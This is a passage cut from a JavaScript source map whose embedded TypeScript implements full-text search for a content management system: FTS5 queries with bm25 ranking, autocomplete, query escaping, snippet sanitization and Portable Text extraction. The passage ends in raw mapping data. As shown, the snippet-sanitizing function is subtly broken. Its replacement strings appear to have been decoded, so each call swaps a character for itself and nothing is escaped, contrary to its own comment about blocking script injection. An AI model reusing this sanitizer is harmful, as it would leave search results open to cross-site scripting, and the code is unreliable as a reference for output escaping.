options.status ?? \"published\";\n\n\t// Get searchable collections\n\tlet collections = options.collections;\n\tif (!collections || collections.length === 0) {\n\t\tcollections = await getSearchableCollections(db);\n\t}\n\n\tif (collections.length === 0) {\n\t\treturn { items: [] };\n\t}\n\n\t// Search each collection and merge results\n\tconst allResults: SearchResult[] = [];\n\n\tfor (const collection of collections) {\n\t\tconst config = await ftsManager.getSearchConfig(collection);\n\t\tif (!config?.enabled) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst collectionResults = await searchSingleCollection(\n\t\t\tdb,\n\t\t\tcollection,\n\t\t\tquery,\n\t\t\t{\n\t\t\t\tstatus,\n\t\t\t\tlocale: options.locale,\n\t\t\t\tlimit: limit * 2, // Get extra for merging\n\t\t\t},\n\t\t\tconfig.weights,\n\t\t);\n\n\t\tallResults.push(...collectionResults);\n\t}\n\n\t// Sort by score descending\n\tallResults.sort((a, b) => b.score - a.score);\n\n\t// Apply limit\n\tconst items = allResults.slice(0, limit);\n\n\treturn { items };\n}\n\n/**\n * Search within a single collection\n *\n * @param db - Kysely database instance\n * @param collection - Collection slug\n * @param query - Search query (FTS5 syntax supported)\n * @param options - Search options\n * @returns Search results with pagination\n *\n * @example\n * ```typescript\n * const results = await searchCollection(db, \"posts\", \"hello world\", {\n * limit: 10\n * });\n * ```\n */\nexport async function searchCollection(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tquery: string,\n\toptions: CollectionSearchOptions = {},\n): Promise<SearchResponse> {\n\tconst ftsManager = new FTSManager(db);\n\tconst config = await ftsManager.getSearchConfig(collection);\n\n\tif (!config?.enabled) {\n\t\treturn { items: [] };\n\t}\n\n\tconst items = await searchSingleCollection(db, collection, query, options, config.weights);\n\n\treturn { items };\n}\n\n/**\n * Internal function to search a single collection\n */\nasync function searchSingleCollection(\n\tdb: Kysely<Database>,\n\tcollection: string,\n\tquery: string,\n\toptions: CollectionSearchOptions,\n\tweights?: Record<string, number>,\n): Promise<SearchResult[]> {\n\t// Validate before any raw SQL interpolation\n\tvalidateIdentifier(collection, \"collection slug\");\n\n\tconst ftsManager = new FTSManager(db);\n\tconst ftsTable = ftsManager.getFtsTableName(collection);\n\tconst contentTable = ftsManager.getContentTableName(collection);\n\tconst limit = options.limit ?? 20;\n\tconst status = options.status ?? \"published\";\n\tconst locale = options.locale;\n\n\t// Check if FTS table exists\n\tif (!(await ftsManager.ftsTableExists(collection))) {\n\t\treturn [];\n\t}\n\n\t// Escape the query for FTS5\n\tconst escapedQuery = escapeQuery(query);\n\tif (!escapedQuery) {\n\t\treturn [];\n\t}\n\n\t// Get searchable fields for snippet generation\n\tconst searchableFields = await ftsManager.getSearchableFields(collection);\n\n\t// Build weight string for bm25 if weights provided\n\t// Format: bm25(table, weight1, weight2, ...)\n\t// First two weights are for 'id' and 'locale' columns (UNINDEXED, so 0)\n\tlet bm25Args = \"\";\n\tif (weights && searchableFields.length > 0) {\n\t\tconst weightValues = [\"0\", \"0\"]; // id column, locale column\n\t\tfor (const field of searchableFields) {\n\t\t\tweightValues.push(String(weights[field] ?? 1));\n\t\t}\n\t\tbm25Args = weightValues.join(\", \");\n\t}\n\n\t// Build and execute the search query\n\t// Using raw SQL because Kysely doesn't have FTS5 support\n\tconst bm25Expr = bm25Args ? `bm25(\"${ftsTable}\", ${bm25Args})` : `bm25(\"${ftsTable}\")`;\n\n\t// Snippet column index is 2 (after id=0, locale=1, first searchable field=2)\n\tlet results;\n\ttry {\n\t\tresults = await sql<{\n\t\t\tid: string;\n\t\t\tslug: string | null;\n\t\t\tlocale: string;\n\t\t\ttitle: string | null;\n\t\t\tsnippet: string | null;\n\t\t\tscore: number;\n\t\t}>`\n\t\tSELECT \n\t\t\tc.id,\n\t\t\tc.slug,\n\t\t\tc.locale,\n\t\t\tc.title,\n\t\t\tsnippet(\"${sql.raw(ftsTable)}\", 2, '<mark>', '</mark>', '...', 32) as snippet,\n\t\t\t${sql.raw(bm25Expr)} as score\n\t\tFROM \"${sql.raw(ftsTable)}\" f\n\t\tJOIN \"${sql.raw(contentTable)}\" c ON f.id = c.id\n\t\tWHERE \"${sql.raw(ftsTable)}\" MATCH ${escapedQuery}\n\t\tAND c.status = ${status}\n\t\tAND c.deleted_at IS NULL\n\t\t${locale ? sql`AND c.locale = ${locale}` : sql``}\n\t\tORDER BY score\n\t\tLIMIT ${limit}\n\t`.execute(db);\n\t} catch (error) {\n\t\t// FTS5 returns syntax errors for queries with unbalanced quotes,\n\t\t// stray operators, or other malformed input. Treat these as\n\t\t// \"no matches\" so the user gets an empty result rather than an\n\t\t// internals-leaking error. Other errors (table missing, IO) still\n\t\t// propagate. Intentionally not logged: any anonymous client can\n\t\t// trigger this path, and the underlying error message embeds the\n\t\t// raw query, so logging would be both noisy and a log-injection\n\t\t// vector.\n\t\tif (isFts5SyntaxError(error)) {\n\t\t\treturn [];\n\t\t}\n\t\tthrow error;\n\t}\n\n\treturn results.rows.map((row) => ({\n\t\tcollection,\n\t\tid: row.id,\n\t\tslug: row.slug,\n\t\tlocale: row.locale,\n\t\ttitle: row.title ?? undefined,\n\t\t// SQLite's snippet() returns NULL when the targeted column is\n\t\t// NULL for that row — even if the row matched via a different\n\t\t// searchable column. Skip sanitization in that case so we don't\n\t\t// throw on `null.replace`. The SearchResult.snippet field is\n\t\t// already optional, so omitting it is the documented contract.\n\t\tsnippet: row.snippet === null ? undefined : sanitizeSnippet(row.snippet),\n\t\tscore: Math.abs(row.score), // bm25 returns negative scores\n\t}));\n}\n\n// Module-scope regexes so the engine doesn't recompile per call —\n// snippet sanitization runs on every search result.\nconst SNIPPET_AMP_RE = /&/g;\nconst SNIPPET_LT_RE = /</g;\nconst SNIPPET_GT_RE = />/g;\nconst SNIPPET_QUOT_RE = /\"/g;\nconst SNIPPET_APOS_RE = /'/g;\n\n/**\n * Make an FTS5 snippet safe to render with `set:html` / `innerHTML`.\n *\n * SQLite's `snippet()` function splices literal `<mark>` and `</mark>`\n * markers around matched terms but does not escape the surrounding\n * source text. Posts that legitimately contain `<`, `>`, `&`, `\"` or\n * `'` would render as broken markup, and a `<script>` literal in a\n * title (or any other indexed field) would execute when displayed.\n *\n * The fix: HTML-escape the whole string, which turns the markers into\n * `<mark>` / `</mark>`. Then restore those two patterns to\n * their original tag form. The result is \"the indexed text with all\n * HTML metacharacters escaped, plus a small set of literal `<mark>`\n * highlight tags around matched terms\" — which matches the API's\n * documented contract.\n */\nfunction sanitizeSnippet(snippet: string): string {\n\treturn snippet\n\t\t.replace(SNIPPET_AMP_RE, \"&\")\n\t\t.replace(SNIPPET_LT_RE, \"<\")\n\t\t.replace(SNIPPET_GT_RE, \">\")\n\t\t.replace(SNIPPET_QUOT_RE, \""\")\n\t\t.replace(SNIPPET_APOS_RE, \"'\")\n\t\t.replaceAll(\"<mark>\", \"<mark>\")\n\t\t.replaceAll(\"</mark>\", \"</mark>\");\n}\n\n/**\n * Get search suggestions for autocomplete\n *\n * @param db - Kysely database instance\n * @param query - Partial search query\n * @param options - Suggestion options\n * @returns Array of suggestions\n */\nexport async function getSuggestions(\n\tdb: Kysely<Database>,\n\tquery: string,\n\toptions: SuggestOptions = {},\n): Promise<Suggestion[]> {\n\tconst limit = options.limit ?? 5;\n\tconst locale = options.locale;\n\n\t// Get searchable collections\n\tlet collections = options.collections;\n\tif (!collections || collections.length === 0) {\n\t\tcollections = await getSearchableCollections(db);\n\t}\n\n\tif (collections.length === 0) {\n\t\treturn [];\n\t}\n\n\tconst suggestions: Suggestion[] = [];\n\n\tfor (const collection of collections) {\n\t\tconst ftsManager = new FTSManager(db);\n\t\tconst config = await ftsManager.getSearchConfig(collection);\n\t\tif (!config?.enabled) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Validate before raw SQL interpolation\n\t\tvalidateIdentifier(collection, \"collection slug\");\n\n\t\tconst ftsTable = ftsManager.getFtsTableName(collection);\n\t\tconst contentTable = ftsManager.getContentTableName(collection);\n\n\t\t// Use prefix search for autocomplete. `escapeQuery` already appends `*`\n\t\t// to each term for prefix matching, so we must not append another one.\n\t\tconst prefixQuery = escapeQuery(query);\n\t\tif (!prefixQuery) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tlet results;\n\t\ttry {\n\t\t\tresults = await sql<{\n\t\t\t\tid: string;\n\t\t\t\ttitle: string;\n\t\t\t}>`\n\t\t\t\tSELECT \n\t\t\t\t\tc.id,\n\t\t\t\t\tc.title\n\t\t\t\tFROM \"${sql.raw(ftsTable)}\" f\n\t\t\t\tJOIN \"${sql.raw(contentTable)}\" c ON f.id = c.id\n\t\t\t\tWHERE \"${sql.raw(ftsTable)}\" MATCH ${prefixQuery}\n\t\t\t\tAND c.status = 'published'\n\t\t\t\tAND c.deleted_at IS NULL\n\t\t\t\tAND c.title IS NOT NULL\n\t\t\t\t${locale ? sql`AND c.locale = ${locale}` : sql``}\n\t\t\t\tORDER BY bm25(\"${sql.raw(ftsTable)}\")\n\t\t\t\tLIMIT ${limit}\n\t\t\t`.execute(db);\n\t\t} catch (error) {\n\t\t\t// Same swallow as searchSingleCollection: malformed prefix\n\t\t\t// queries should yield no suggestions, not surface DB errors.\n\t\t\t// Intentionally not logged (anonymous-triggerable, echoes\n\t\t\t// user input -- see searchSingleCollection for rationale).\n\t\t\tif (isFts5SyntaxError(error)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tthrow error;\n\t\t}\n\n\t\tfor (const row of results.rows) {\n\t\t\tsuggestions.push({\n\t\t\t\tcollection,\n\t\t\t\tid: row.id,\n\t\t\t\ttitle: row.title,\n\t\t\t});\n\t\t}\n\t}\n\n\treturn suggestions.slice(0, limit);\n}\n\n/**\n * Get search statistics for all collections\n */\nexport async function getSearchStats(db: Kysely<Database>): Promise<SearchStats> {\n\tconst ftsManager = new FTSManager(db);\n\tconst collections = await getSearchableCollections(db);\n\tconst stats: SearchStats = { collections: {} };\n\n\tfor (const collection of collections) {\n\t\tconst collectionStats = await ftsManager.getIndexStats(collection);\n\t\tif (collectionStats) {\n\t\t\tstats.collections[collection] = collectionStats;\n\t\t}\n\t}\n\n\treturn stats;\n}\n\n/**\n * Get list of collections with search enabled\n */\nasync function getSearchableCollections(db: Kysely<Database>): Promise<string[]> {\n\tconst results = await db\n\t\t.selectFrom(\"_emdash_collections\")\n\t\t.select([\"slug\", \"search_config\"])\n\t\t.execute();\n\n\treturn results\n\t\t.filter((r) => {\n\t\t\tif (!r.search_config) return false;\n\t\t\ttry {\n\t\t\t\tconst config = JSON.parse(r.search_config);\n\t\t\t\treturn config.enabled === true;\n\t\t\t} catch {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t})\n\t\t.map((r) => r.slug);\n}\n\n/**\n * Escape a query string for FTS5\n *\n * Handles special characters and prevents injection.\n */\nfunction escapeQuery(query: string): string {\n\tif (!query || typeof query !== \"string\") {\n\t\treturn \"\";\n\t}\n\n\t// Trim whitespace\n\tquery = query.trim();\n\n\tif (query.length === 0) {\n\t\treturn \"\";\n\t}\n\n\t// If already a quoted phrase, escape only interior quotes and preserve phrase syntax\n\tif (query.startsWith('\"') && query.endsWith('\"') && query.length >= 2) {\n\t\tconst inner = query.slice(1, -1);\n\t\treturn `\"${inner.replace(DOUBLE_QUOTE_PATTERN, '\"\"')}\"`;\n\t}\n\n\t// Escape any existing quotes\n\tconst escaped = query.replace(DOUBLE_QUOTE_PATTERN, '\"\"');\n\n\t// If the query contains FTS5 operators (AND, OR, NOT, NEAR),\n\t// pass through with quotes escaped but operators preserved\n\tif (FTS_OPERATORS_PATTERN.test(query)) {\n\t\treturn escaped;\n\t}\n\n\t// For simple queries, wrap each word to handle special chars\n\tconst terms = escaped.split(WHITESPACE_SPLIT_PATTERN).filter((t) => t.length > 0);\n\tif (terms.length === 0) {\n\t\treturn \"\";\n\t}\n\n\t// Join with implicit AND, add prefix matching (*) to all terms\n\t// This allows \"hel wor\" to match \"hello world\"\n\treturn terms.map((t) => `\"${t}\"*`).join(\" \");\n}\n","/**\n * Text Extraction\n *\n * Extracts plain text from Portable Text blocks for FTS indexing.\n * Uses @portabletext/toolkit as base with extensions for custom block types.\n */\n\nimport { toPlainText } from \"@portabletext/toolkit\";\n\nimport type { PortableTextBlock } from \"../content/converters/types.js\";\n\n/**\n * Validate that a value looks like a Portable Text block array.\n * Each element must have at least a `_type` string property.\n */\nfunction isPortableTextArray(value: unknown[]): value is PortableTextBlock[] {\n\treturn value.every(\n\t\t(item) =>\n\t\t\ttypeof item === \"object\" &&\n\t\t\titem !== null &&\n\t\t\t\"_type\" in item &&\n\t\t\ttypeof item._type === \"string\",\n\t);\n}\n\n/**\n * Extract additional text from custom block types that toPlainText doesn't handle\n */\nfunction extractCustomBlockText(block: PortableTextBlock): string {\n\t// Code blocks - include the code content\n\tif (block._type === \"code\" && \"code\" in block && typeof block.code === \"string\") {\n\t\treturn block.code;\n\t}\n\n\t// Image blocks - include alt text and caption\n\tif (block._type === \"image\") {\n\t\tconst parts: string[] = [];\n\t\tif (\"alt\" in block && typeof block.alt === \"string\" && block.alt) {\n\t\t\tparts.push(block.alt);\n\t\t}\n\t\tif (\"caption\" in block && typeof block.caption === \"string\" && block.caption) {\n\t\t\tparts.push(block.caption);\n\t\t}\n\t\treturn parts.join(\" \");\n\t}\n\n\treturn \"\";\n}\n\n/**\n * Extract plain text from Portable Text blocks\n *\n * Uses @portabletext/toolkit's toPlainText for standard blocks,\n * plus extracts text from custom block types (code, images with alt/caption).\n *\n * @param blocks - Array of Portable Text blocks (or a JSON string)\n * @returns Plain text content\n *\n * @example\n * ```typescript\n * const text = extractPlainText([\n * {\n * _type: \"block\",\n * _key: \"abc\",\n * children: [{ _type: \"span\", _key: \"s1\", text: \"Hello World\" }]\n * }\n * ]);\n * // Returns: \"Hello World\"\n * ```\n */\nexport function extractPlainText(blocks: PortableTextBlock[] | string | null | undefined): string {\n\tif (!blocks) {\n\t\treturn \"\";\n\t}\n\n\t// Handle JSON string input\n\tlet parsedBlocks: PortableTextBlock[];\n\tif (typeof blocks === \"string\") {\n\t\ttry {\n\t\t\tparsedBlocks = JSON.parse(blocks);\n\t\t} catch {\n\t\t\t// If it's not valid JSON, treat as plain text\n\t\t\treturn blocks;\n\t\t}\n\t} else {\n\t\tparsedBlocks = blocks;\n\t}\n\n\tif (!Array.isArray(parsedBlocks)) {\n\t\treturn \"\";\n\t}\n\n\t// Use official toPlainText for standard blocks.\n\t// toPlainText expects `{ _type: string; [key: string]: any }[]` but our blocks use\n\t// `unknown` index sigs. They're structurally compatible at runtime — spread each block\n\t// to satisfy the wider index signature without an unsafe cast.\n\tconst toolkitBlocks = parsedBlocks.map((b) => {\n\t\tconst obj: Record<string, unknown> & { _type: string } = { _type: b._type };\n\t\tfor (const [key, val] of Object.entries(b)) {\n\t\t\tobj[key] = val;\n\t\t}\n\t\treturn obj;\n\t});\n\tconst standardText = toPlainText(toolkitBlocks);\n\n\t// Extract text from custom block types that toPlainText doesn't handle\n\tconst customTexts = parsedBlocks.map(extractCustomBlockText).filter((text) => text.length > 0);\n\n\t// Combine both\n\tconst allTexts = [standardText, ...customTexts].filter((t) => t.length > 0);\n\treturn allTexts.join(\"\\n\");\n}\n\n/**\n * Extract searchable text from a content entry\n *\n * Extracts text from specified fields, handling both plain text and Portable Text.\n *\n * @param entry - Content entry data\n * @param fields - Field names to extract text from\n * @returns Object mapping field names to extracted text\n */\nexport function extractSearchableFields(\n\tentry: Record<string, unknown>,\n\tfields: string[],\n): Record<string, string> {\n\tconst result: Record<string, string> = {};\n\n\tfor (const field of fields) {\n\t\tconst value = entry[field];\n\n\t\tif (value === null || value === undefined) {\n\t\t\tresult[field] = \"\";\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (typeof value === \"string\") {\n\t\t\t// Could be plain text or JSON Portable Text\n\t\t\tif (value.startsWith(\"[\")) {\n\t\t\t\tresult[field] = extractPlainText(value);\n\t\t\t} else {\n\t\t\t\tresult[field] = value;\n\t\t\t}\n\t\t} else if (Array.isArray(value)) {\n\t\t\t// Validate the array looks like Portable Text before treating it as such\n\t\t\tif (isPortableTextArray(value)) {\n\t\t\t\tresult[field] = extractPlainText(value);\n\t\t\t} else {\n\t\t\t\tresult[field] = JSON.stringify(value);\n\t\t\t}\n\t\t} else if (typeof value === \"object\") {\n\t\t\t// Object — serialize to JSON for searchable text\n\t\t\tresult[field] = JSON.stringify(value);\n\t\t} else if (typeof value === \"number\" || typeof value === \"boolean\") {\n\t\t\tresult[field] = `${value}`;\n\t\t} else {\n\t\t\tresult[field] = \"\";\n\t\t}\n\t}\n\n\treturn result;\n}\n"],"mappings":"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